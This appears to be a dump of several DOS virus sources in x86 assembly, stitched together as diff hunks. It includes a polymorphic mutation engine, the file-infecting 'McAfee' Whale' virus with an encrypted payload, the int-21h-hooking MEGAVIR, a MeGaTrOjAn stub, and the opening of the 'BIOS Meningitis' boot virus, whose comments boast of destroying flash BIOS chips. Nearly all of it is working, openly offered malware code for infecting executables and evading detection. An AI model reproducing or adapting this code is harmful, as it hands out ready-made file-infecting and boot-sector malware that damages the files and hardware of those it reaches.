i172: @m2: cmp byte ptr cs:[si],0E0h
|
||||
i173: jb @m3
|
||||
i174: cmp byte ptr cs:[si],0E3h
|
||||
i175: jbe @realloc
|
||||
i176: @m3: cmp byte ptr cs:[si],0EBh ; short jump.
|
||||
i177: je @realloc
|
||||
i178: cmp byte ptr cs:[si],0E8h ; near call.
|
||||
i179: jne @m4
|
||||
i180: call CallNear
|
||||
i181: @m4: cmp byte ptr cs:[si],0E9h ; NEAR JUMP !!!
|
||||
i182: jne @mend
|
||||
i183: mov bx,word ptr cs:[si+1]
|
||||
i184: add si,3
|
||||
i185: add si,bx
|
||||
i186: jmp @m1
|
||||
i187: @realloc: call JumpNear
|
||||
i188: jmp @mnext
|
||||
i189: @mend: call MoveInst
|
||||
i190: @mnext: inc word ptr cs:[LenghtPTR]
|
||||
i191: mov dx,di
|
||||
i192: mov cx,3
|
||||
i193: mov bx,word ptr cs:[LenghtPTR]
|
||||
i194: add cl,byte ptr cs:[bx]
|
||||
i195: @mjverify: call VerifyAlloc ; Verify place.
|
||||
i196: jc @mjump
|
||||
i197: inc dx
|
||||
i198: loop @mjverify
|
||||
i199: cmp dx,offset code + LengthVirus - 10
|
||||
i200: jae @mjump
|
||||
i201: push ax
|
||||
i202: mov dx,3h
|
||||
i203: call Random
|
||||
i204: cmp al,1h
|
||||
i205: pop ax
|
||||
i206: jne @loop
|
||||
i207: @mjump: call Jump
|
||||
i208: @loop: dec ax
|
||||
i209: jnz @m1 ;============================================
|
||||
i210: mov dx,word ptr cs:[JumpPTR] ; Adjust address.
|
||||
i211: mov bx,offset JumpTab
|
||||
i212: sub dx,bx
|
||||
i213: shr dx,1 ; div 4
|
||||
i214: shr dx,1 ; <=Ù
|
||||
i215: @mreall: mov di,offset AddrTab
|
||||
i216: mov ax,word ptr cs:[bx]
|
||||
i217: mov cx,word ptr cs:[AddrPTR]
|
||||
i218: sub cx,di
|
||||
i219: shr cx,1
|
||||
i220: repnz scasw
|
||||
i221: jcxz @merror
|
||||
i222: mov ax,word ptr cs:[di-6]
|
||||
i223: mov di,word ptr cs:[bx+2]
|
||||
i224: sub ax,di
|
||||
i225: sub ax,2
|
||||
i226: stosw
|
||||
i227: @merror: add bx,4
|
||||
i228: dec dx
|
||||
i229: jnz @mreall ;========================================
|
||||
i230: mov word ptr cs:[LenghtPTR],offset LenghtTab
|
||||
i231: mov word ptr cs:[AddrPTR],offset AddrTab
|
||||
i232: mov word ptr cs:[JumpPTR],offset JumpTab
|
||||
i233: mov dx,0FFFFh ; Adjust CryptValue.
|
||||
i234: call Random
|
||||
i235: mov bx,word ptr cs:[CryptMov]
|
||||
i236: mov [bx+1],ax
|
||||
i237: sub word ptr cs:[CryptMov],offset Code-100h
|
||||
i238: mov bx,word ptr cs:[OldCryptMov]
|
||||
i239: mov [bx+1],ax ;<===========================
|
||||
i240: mov dx,0FFFFh ; Adjust ChangeValue.
|
||||
i241: call Random
|
||||
i242: mov bx,word ptr cs:[CryptChg]
|
||||
i243: mov [bx+2],ax
|
||||
i244: sub word ptr cs:[CryptChg],offset Code-100h
|
||||
i245: mov bx,word ptr cs:[OldCryptChg]
|
||||
i246: mov [bx+2],ax ;<===========================
|
||||
i247: call CryptData ; Crypt.
|
||||
i248: mov si,offset Data ; Move data.
|
||||
i249: mov di,offset AddrTab ; NewData;
|
||||
i250: mov cx,EndData-Data
|
||||
i251: rep movsb
|
||||
i252: ret
|
||||
Mutation endp
|
||||
;============================================================================
|
||||
Infect proc near
|
||||
i253: call Message
|
||||
i254: mov dx,offset FileName ;Open File
|
||||
i255: mov ah,3ch
|
||||
i256: xor cx,cx
|
||||
i257: int 21h
|
||||
i258: mov word ptr cs:[FileHandle],ax
|
||||
i259: call Mutation
|
||||
i260: mov bx,word ptr cs:[FileHandle] ;Write Virus body
|
||||
i261: mov cx,offset EndData - 100h ;offset JumpTab + 512 - 100h
|
||||
i262: mov dx,offset Code
|
||||
i263: mov ah,40h
|
||||
i264: int 21h
|
||||
i265: mov bx,word ptr cs:[FileHandle] ;Close file
|
||||
i266: mov ah,3Eh
|
||||
i267: int 21h
|
||||
i268: ret
|
||||
Infect endp
|
||||
;============================================================================
|
||||
Message proc near
|
||||
i269: mov dx,offset Copyright
|
||||
i270: mov ah,09h
|
||||
i271: int 21h
|
||||
i272: ret
|
||||
Message endp
|
||||
;============================================================================
|
||||
CryptData proc near ; Crypt data body.
|
||||
i273: mov cx,(EndData-Data)/2+1
|
||||
i274: mov si,offset Data
|
||||
i275: push si
|
||||
i276: pop di
|
||||
i277: CryptValue db 0BAh,?,? ;mov dx,??h
|
||||
i278: @DeCrypt: lodsw
|
||||
i279: xor ax,dx
|
||||
i280: stosw
|
||||
i281: ChangeValue db 81h,0C2h,?,? ;add dx,??h
|
||||
i282: loop @DeCrypt
|
||||
i283: ret
|
||||
i284:
|
||||
CryptData endp
|
||||
;============================================================================
|
||||
EndVir:
|
||||
org LengthVirus+100h ;$+300h
|
||||
;---------------------------------D-A-T-A------------------------------------
|
||||
Data:
|
||||
Copyright db '[MCMv0.62(c)Jul1997byPARAFFiN]','$'
|
||||
FileName db 'test_mcm.com',0
|
||||
LenghtPTR dw offset LenghtTab
|
||||
AddrPTR dw offset AddrTab
|
||||
JumpPTR dw offset JumpTab
|
||||
CryptMov dw offset CryptValue
|
||||
CryptChg dw offset ChangeValue
|
||||
LenghtTab: ; Instruction lenght table.
|
||||
db i01-i00,i02-i01,i03-i02,i04-i03,i05-i04,i06-i05,i07-i06,i08-i07,i09-i08,i10-i09
|
||||
db i11-i10,i12-i11,i13-i12,i14-i13,i15-i14,i16-i15,i17-i16,i18-i17,i19-i18,i20-i19
|
||||
db i21-i20,i22-i21,i23-i22,i24-i23,i25-i24,i26-i25,i27-i26,i28-i27,i29-i28,i30-i29
|
||||
db i31-i30,i32-i31,i33-i32,i34-i33,i35-i34,i36-i35,i37-i36,i38-i37,i39-i38,i40-i39
|
||||
db i41-i40,i42-i41,i43-i42,i44-i43,i45-i44,i46-i45,i47-i46,i48-i47,i49-i48,i50-i49
|
||||
db i51-i50,i52-i51,i53-i52,i54-i53,i55-i54,i56-i55,i57-i56,i58-i57,i59-i58,i60-i59
|
||||
db i61-i60,i62-i61,i63-i62,i64-i63,i65-i64,i66-i65,i67-i66,i68-i67,i69-i68,i70-i69
|
||||
db i71-i70,i72-i71,i73-i72,i74-i73,i75-i74,i76-i75,i77-i76,i78-i77,i79-i78,i80-i79
|
||||
db i81-i80,i82-i81,i83-i82,i84-i83,i85-i84,i86-i85,i87-i86,i88-i87,i89-i88,i90-i89
|
||||
db i91-i90,i92-i91,i93-i92,i94-i93,i95-i94,i96-i95,i97-i96,i98-i97,i99-i98,i100-i99
|
||||
db i101-i100,i102-i101,i103-i102,i104-i103,i105-i104,i106-i105,i107-i106,i108-i107,i109-i108,i110-i109
|
||||
db i111-i110,i112-i111,i113-i112,i114-i113,i115-i114,i116-i115,i117-i116,i118-i117,i119-i118,i120-i119
|
||||
db i121-i120,i122-i121,i123-i122,i124-i123,i125-i124,i126-i125,i127-i126,i128-i127,i129-i128,i130-i129
|
||||
db i131-i130,i132-i131,i133-i132,i134-i133,i135-i134,i136-i135,i137-i136,i138-i137,i139-i138,i140-i139
|
||||
db i141-i140,i142-i141,i143-i142,i144-i143,i145-i144,i146-i145,i147-i146,i148-i147,i149-i148,i150-i149
|
||||
db i151-i150,i152-i151,i153-i152,i154-i153,i155-i154,i156-i155,i157-i156,i158-i157,i159-i158,i160-i159
|
||||
db i161-i160,i162-i161,i163-i162,i164-i163,i165-i164,i166-i165,i167-i166,i168-i167,i169-i168,i170-i169
|
||||
db i171-i170,i172-i171,i173-i172,i174-i173,i175-i174,i176-i175,i177-i176,i178-i177,i179-i178,i180-i179
|
||||
db i181-i180,i182-i181,i183-i182,i184-i183,i185-i184,i186-i185,i187-i186,i188-i187,i189-i188,i190-i189
|
||||
db i191-i190,i192-i191,i193-i192,i194-i193,i195-i194,i196-i195,i197-i196,i198-i197,i199-i198,i200-i199
|
||||
db i201-i200,i202-i201,i203-i202,i204-i203,i205-i204,i206-i205,i207-i206,i208-i207,i209-i208,i210-i209
|
||||
db i211-i210,i212-i211,i213-i212,i214-i213,i215-i214,i216-i215,i217-i216,i218-i217,i219-i218,i220-i219
|
||||
db i221-i220,i222-i221,i223-i222,i224-i223,i225-i224,i226-i225,i227-i226,i228-i227,i229-i228,i230-i229
|
||||
db i231-i230,i232-i231,i233-i232,i234-i233,i235-i234,i236-i235,i237-i236,i238-i237,i239-i238,i240-i239
|
||||
db i241-i240,i242-i241,i243-i242,i244-i243,i245-i244,i246-i245,i247-i246,i248-i247,i249-i248,i250-i249
|
||||
db i251-i250,i252-i251,i253-i252,i254-i253,i255-i254,i256-i255,i257-i256,i258-i257,i259-i258,i260-i259
|
||||
db i261-i260,i262-i261,i263-i262,i264-i263,i265-i264,i266-i265,i267-i266,i268-i267,i269-i268,i270-i269
|
||||
db i271-i270,i272-i271,i273-i272,i274-i273,i275-i274,i276-i275,i277-i276,i278-i277,i279-i278,i280-i279
|
||||
db i281-i280,i282-i281,i283-i282,i284-i283,0;i285-i284,i286-i285,i287-i286,i288-i287,i289-i288,i290-i289
|
||||
;db i291-i290,i292-i291,i293-i292,i294-i293,i295-i294,i296-i295,i297-i296,i298-i297,i299-i298,i300-i299
|
||||
;db i301-i300,i302-i301,i303-i302,i304-i303,i305-i304,i306-i305,i307-i306,i308-i307,i309-i308,i310-i309
|
||||
EndData:
|
||||
; Official data.
|
||||
RSeed dw ?
|
||||
RValue dw ?
|
||||
FileHandle dw ?
|
||||
OldCryptMov dw ?
|
||||
OldCryptChg dw ?
|
||||
Code db LengthVirus dup(?)
|
||||
AddrTab db 0B00h dup(?)
|
||||
JumpTab db 300h dup(?)
|
||||
end start
|
||||
@@ -0,0 +1,507 @@
|
||||
; McWhale.asm : [McAfee' Whale] by [pAgE]
|
||||
; Created wik the Phalcon/Skism Mass-Produced Code Generator
|
||||
; from the configuration file skeleton.cfg
|
||||
;
|
||||
; Here's another "lame dick" virus! I thought it was rather fitting!
|
||||
; Many thanks to the fellows at Phalcon/Skism for this little tool.
|
||||
; I am sure that Dark Angel and the bunch are not stopping here, but
|
||||
; will come up with another innovation in Vx production...
|
||||
;
|
||||
; I have set this file to activate at a 40% chance on any day. Feel free
|
||||
; to modify this program as you see fit or keep it as a novelty in its
|
||||
; original form.
|
||||
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'MO' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
mov bx,(offset heap - offset startencrypt)/2 ; iterations
|
||||
patch_startencrypt:
|
||||
mov si,offset startencrypt ; start of decryption
|
||||
decrypt_loop:
|
||||
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc si ; calculate new decryption location
|
||||
inc si
|
||||
dec bx ; If we are not done, then
|
||||
jnz decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],2 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
mov ah,2ah ; Get current date
|
||||
int 21h ;
|
||||
;cmp dh,4 ; Check month
|
||||
;jb exit_virus ;
|
||||
;cmp dl,15 ; Check date
|
||||
;jnz exit_virus ;
|
||||
|
||||
;mov ah,2ch ; Get current time
|
||||
;int 21h
|
||||
cmp dl,40 ; Check the percentage
|
||||
jbe activate
|
||||
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
stacksave2 dd ?
|
||||
|
||||
activate proc far
|
||||
|
||||
start:
|
||||
jmp loc_1
|
||||
data_1 db 0
|
||||
data_2 dw 0
|
||||
db 62h, 79h
|
||||
db ' ABRAXAS - '
|
||||
copyright db '(c) 1992 Abraxas Warez.'
|
||||
db '.....................................BEWARE!!!............'
|
||||
db '....................'
|
||||
data_5 db 'Anti-Virus.....Man.....John.....McAfee.....wrote'
|
||||
db '.....the.....WHALE.....virus!!!'
|
||||
db '..............................HONEST!!!....................................$'
|
||||
loc_1:
|
||||
push si
|
||||
push di
|
||||
mov si,80h
|
||||
cld ; Clear direction
|
||||
call sub_1
|
||||
cmp byte ptr [si],0Dh
|
||||
je loc_4 ; Jump if equal
|
||||
mov cx,28h
|
||||
lea di,data_5 ; ('Attention: Please press ') Load ef
|
||||
locloop_2:
|
||||
lodsb ; String [si] to al
|
||||
cmp al,0Dh
|
||||
je loc_3 ; Jump if equal
|
||||
stosb ; Store al to es:[di]
|
||||
loop locloop_2 ; Loop if cx > 0
|
||||
loc_3:
|
||||
inc cx
|
||||
mov al,2Eh ; '.'
|
||||
rep stosb ; Rep when cx >0 Store al to es:[di]
|
||||
loc_4:
|
||||
pop di
|
||||
pop si
|
||||
mov ah,3
|
||||
mov bh,0
|
||||
int 10h ; Video display ah=functn 03h
|
||||
; get cursor loc in dx, mode cx
|
||||
|
||||
mov data_2,cx
|
||||
mov ah,1
|
||||
mov cx,0F00h
|
||||
int 10h ; Video display ah=functn 01h
|
||||
; set cursor mode in cx
|
||||
mov ah,2
|
||||
mov dh,18h
|
||||
mov dl,13h
|
||||
int 10h ; Video display ah=functn 02h
|
||||
; set cursor location in dx
|
||||
loc_5:
|
||||
mov data_1,0FFh
|
||||
loc_6:
|
||||
add data_1,1
|
||||
mov bl,data_1
|
||||
mov bh,0
|
||||
mov cx,27h
|
||||
call sub_2
|
||||
|
||||
locloop_7:
|
||||
mov al,byte ptr copyright+20h[bx] ; ('.')
|
||||
mov ah,0Eh
|
||||
int 10h ; Video display ah=functn 0Eh
|
||||
; write char al, teletype mode
|
||||
inc bx
|
||||
call sub_3
|
||||
mov dl,0FFh
|
||||
mov ah,6
|
||||
int 21h ; DOS Services ah=function 06h
|
||||
; special char i/o, dl=subfunc
|
||||
jnz loc_10 ; Jump if not zero
|
||||
loop locloop_7 ; Loop if cx > 0
|
||||
|
||||
cmp byte ptr copyright+20h[bx],24h ; ('.') '$'
|
||||
je loc_5 ; Jump if equal
|
||||
jmp short loc_6
|
||||
|
||||
activate endp
|
||||
|
||||
sub_1 proc near
|
||||
loc_8:
|
||||
inc si
|
||||
cmp byte ptr [si],20h ; ' '
|
||||
je loc_8 ; Jump if equal
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
sub_2 proc near
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov dx,si
|
||||
mov cx,di
|
||||
mov al,4
|
||||
mov ah,0ch
|
||||
int 10h
|
||||
mov ah,2
|
||||
mov dh,8h
|
||||
mov dl,14h
|
||||
mov cx,30
|
||||
int 10h ; Video display ah=functn 02h
|
||||
mov ah,10h
|
||||
mov al,0
|
||||
mov bl,4
|
||||
mov bh,63
|
||||
int 10h
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
sub_3 proc near
|
||||
push cx
|
||||
mov cx,258h
|
||||
locloop_9:
|
||||
loop locloop_9 ; Loop if cx > 0
|
||||
pop cx
|
||||
retn
|
||||
sub_3 endp
|
||||
|
||||
loc_10:
|
||||
call sub_2
|
||||
mov cx,4Fh
|
||||
locloop_11:
|
||||
mov al,20h ; ' '
|
||||
mov ah,0Eh
|
||||
int 10h ; Video display ah=functn 0Eh
|
||||
; write char al, teletype mode
|
||||
loop locloop_11 ; Loop if cx > 0
|
||||
|
||||
mov ah,1
|
||||
mov cx,data_2
|
||||
int 10h ; Video display ah=functn 01h
|
||||
int 20h ; DOS program terminate
|
||||
jmp exit_virus
|
||||
|
||||
creator db '[MPC]',0 ; BIG SIGN!!!
|
||||
virusname db "[McAfee' Whale]",0 ; That's it!!
|
||||
author db '[pAgE]',0 ; Nah! Not me!<g>
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
|
||||
cmp ax,'DN' ; Ends in ND? (commaND)
|
||||
jz find_next
|
||||
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax, heap-decrypt ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
; The following code is the buffer for the write function
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
||||
@@ -0,0 +1,5 @@
|
||||
;******************************************************************************
|
||||
; The High Evolutionary's [MeGaTrOjAn] v1.0
|
||||
;******************************************************************************
|
||||
;
|
||||
; Development Notes: (Dec.12.9O)
|
||||
@@ -0,0 +1,97 @@
|
||||
|
||||
ideal
|
||||
p386
|
||||
model tiny
|
||||
codeseg
|
||||
startupcode
|
||||
|
||||
n_int=len/4+82h
|
||||
|
||||
;MEGAVIR by Mad Daemon @ http://hysteria.sk/maddaemon/
|
||||
|
||||
;Expected values in registers at entry point: bx=0 ch=0
|
||||
;Compile to COM
|
||||
|
||||
call start
|
||||
old_3: int 20h
|
||||
nop
|
||||
start: pop di
|
||||
dec di
|
||||
dec di
|
||||
mov si,[di]
|
||||
dec di
|
||||
push di
|
||||
add si,di
|
||||
movsw
|
||||
movsb
|
||||
shl di,1
|
||||
mov es,bx
|
||||
cmpsb
|
||||
je in_m
|
||||
dec si
|
||||
dec di
|
||||
mov cl,len
|
||||
rep
|
||||
movsb
|
||||
|
||||
mov ax,OFFSET int21+100h
|
||||
cwde
|
||||
xchg eax,[es:84h]
|
||||
stosd
|
||||
in_m: push ds
|
||||
pop es
|
||||
retn
|
||||
|
||||
call0: mov ax,4000h
|
||||
call1: push ax
|
||||
int 21h
|
||||
pop ax
|
||||
mov ah,42h
|
||||
cwd
|
||||
call2: xor cx,cx
|
||||
int 21h
|
||||
mov cl,3
|
||||
mov si,203h
|
||||
mov dx,si
|
||||
retn
|
||||
|
||||
int21: cmp ax,4B00h
|
||||
jne noinf
|
||||
pusha
|
||||
push ds
|
||||
|
||||
mov ax,3D02h
|
||||
call call2
|
||||
xchg bx,ax
|
||||
jc fail
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,3F02h
|
||||
|
||||
call call1
|
||||
xchg bp,ax
|
||||
mov cl,len+3
|
||||
|
||||
lodsb
|
||||
cmp al,'M'
|
||||
je close
|
||||
cmp al,0E8h
|
||||
je close
|
||||
|
||||
call call0
|
||||
|
||||
mov [BYTE si],0E8h
|
||||
mov [WORD si+1],bp
|
||||
call call0
|
||||
|
||||
close: mov ah,3Eh
|
||||
int 21h
|
||||
fail: pop ds
|
||||
popa
|
||||
noinf: ;rept ($-start+1) mod 4
|
||||
;db 90h
|
||||
;endm
|
||||
db 0EAh
|
||||
|
||||
len=$-start
|
||||
end
|
||||
@@ -0,0 +1,467 @@
|
||||
;.........................................................................
|
||||
;
|
||||
; -=[ BIOS Meningitis ]=-
|
||||
; Qark/VLAD
|
||||
;
|
||||
;
|
||||
; Basic boot sector virus with a twist.
|
||||
;
|
||||
; The worlds first flash BIOS infecting virus!
|
||||
;
|
||||
; I _just_ fit all this into 512 bytes. Infact there is only four bytes
|
||||
; spare... there wasn't even enough room for the name! It used to copy
|
||||
; the partition table to the end of the virus but that is 64 bytes that
|
||||
; just couldn't spared, so now you if you boot from a floppy disk, the
|
||||
; hard disk won't be accessible. But it's a full stealth virus apart
|
||||
; from that.
|
||||
;
|
||||
; If you have flash BIOS on your computer there is a chance it will fuck
|
||||
; it up! I'm talking wiped BIOS chip type fucked! You WONT be able to
|
||||
; remove this virus!!!
|
||||
;
|
||||
; The results of any tests of this with flash BIOS would be appreciated.
|
||||
;
|
||||
; Assemble with A86 as always.
|
||||
;
|
||||
;.........................................................................
|
||||
|
||||
|
||||
;On entry to the boot sector DL=Drive booted from.
|
||||
|
||||
org 0
|
||||
|
||||
mov si,7c00h
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
|
||||
cli
|
||||
mov ss,ax ;Setup the stack
|
||||
mov sp,si
|
||||
sti
|
||||
|
||||
mov ds,ax ;DS,CS,ES,SS=0
|
||||
|
||||
